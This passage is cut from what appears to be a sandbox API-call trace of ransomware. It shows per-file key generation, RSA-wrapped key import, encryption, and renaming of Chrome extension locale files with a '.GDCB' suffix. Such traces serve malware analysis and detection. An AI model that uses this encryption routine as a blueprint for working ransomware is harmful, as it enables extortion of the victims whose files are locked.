lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.086] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0265.086] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0265.087] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0265.089] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794960) returned 1 [0265.089] CryptGetKeyParam (in: hKey=0x6794960, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.089] CryptEncrypt (in: hKey=0x6794960, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0265.089] GetLastError () returned 0x0 [0265.089] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0265.089] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0265.091] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795060) returned 1 [0265.091] CryptGetKeyParam (in: hKey=0x6795060, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.091] CryptEncrypt (in: hKey=0x6795060, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0265.091] GetLastError () returned 0x0 [0265.091] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0265.091] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0265.093] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0265.095] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0265.097] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd1, lpOverlapped=0x0) returned 1 [0265.108] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0265.133] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json.gdcb")) returned 1 [0265.139] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0265.142] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.144] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.144] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0265.144] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.144] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0265.147] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.149] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.149] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0265.149] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0265.149] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0265.152] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794ca0) returned 1 [0265.152] CryptGetKeyParam (in: hKey=0x6794ca0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.152] CryptEncrypt (in: hKey=0x6794ca0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0265.152] GetLastError () returned 0x0 [0265.152] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.152] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0265.155] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794ba0) returned 1 [0265.155] CryptGetKeyParam (in: hKey=0x6794ba0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.155] CryptEncrypt (in: hKey=0x6794ba0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0265.155] GetLastError () returned 0x0 [0265.155] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.155] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0265.156] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0265.159] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0265.161] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd5, lpOverlapped=0x0) returned 1 [0265.171] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0265.185] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_br\\messages.json.gdcb")) returned 1 [0265.190] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0265.194] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.196] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.196] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0265.196] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.196] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0265.199] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.201] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.201] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0265.201] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.202] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0265.204] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794f60) returned 1 [0265.204] CryptGetKeyParam (in: hKey=0x6794f60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.204] CryptEncrypt (in: hKey=0x6794f60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0265.204] GetLastError () returned 0x0 [0265.204] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0265.204] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0265.206] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794ae0) returned 1 [0265.206] CryptGetKeyParam (in: hKey=0x6794ae0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.206] CryptEncrypt (in: hKey=0x6794ae0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0265.206] GetLastError () returned 0x0 [0265.206] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0265.206] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0265.208] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0265.211] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0265.213] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe6, lpOverlapped=0x0) returned 1 [0265.222] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0265.228] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_pt\\messages.json.gdcb")) returned 1 [0265.233] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0265.236] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.238] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.238] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0265.238] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.238] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0265.240] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.242] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.242] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0265.242] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0265.243] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0265.245] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794fe0) returned 1 [0265.245] CryptGetKeyParam (in: hKey=0x6794fe0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.245] CryptEncrypt (in: hKey=0x6794fe0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0265.245] GetLastError () returned 0x0 [0265.245] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0265.245] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0265.247] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794da0) returned 1 [0265.247] CryptGetKeyParam (in: hKey=0x6794da0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.247] CryptEncrypt (in: hKey=0x6794da0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0265.247] GetLastError () returned 0x0 [0265.247] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.247] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0265.249] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0265.251] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0265.254] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe2, lpOverlapped=0x0) returned 1 [0265.262] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0265.270] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json.gdcb")) returned 1 [0265.281] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0265.284] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.286] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.286] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0265.286] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.286] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0265.288] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.290] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.290] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0265.290] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0265.290] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0265.293] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67950a0) returned 1 [0265.293] CryptGetKeyParam (in: hKey=0x67950a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.293] CryptEncrypt (in: hKey=0x67950a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0265.293] GetLastError () returned 0x0 [0265.293] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.293] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0265.295] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67948e0) returned 1 [0265.295] CryptGetKeyParam (in: hKey=0x67948e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.295] CryptEncrypt (in: hKey=0x67948e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0265.295] GetLastError () returned 0x0 [0265.295] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0265.295] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0265.296] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0265.299] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0265.301] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xfe, lpOverlapped=0x0) returned 1 [0265.309] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0265.315] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json.gdcb")) returned 1 [0265.320] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0265.324] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.326] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.327] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0265.327] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.327] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0265.330] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.332] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 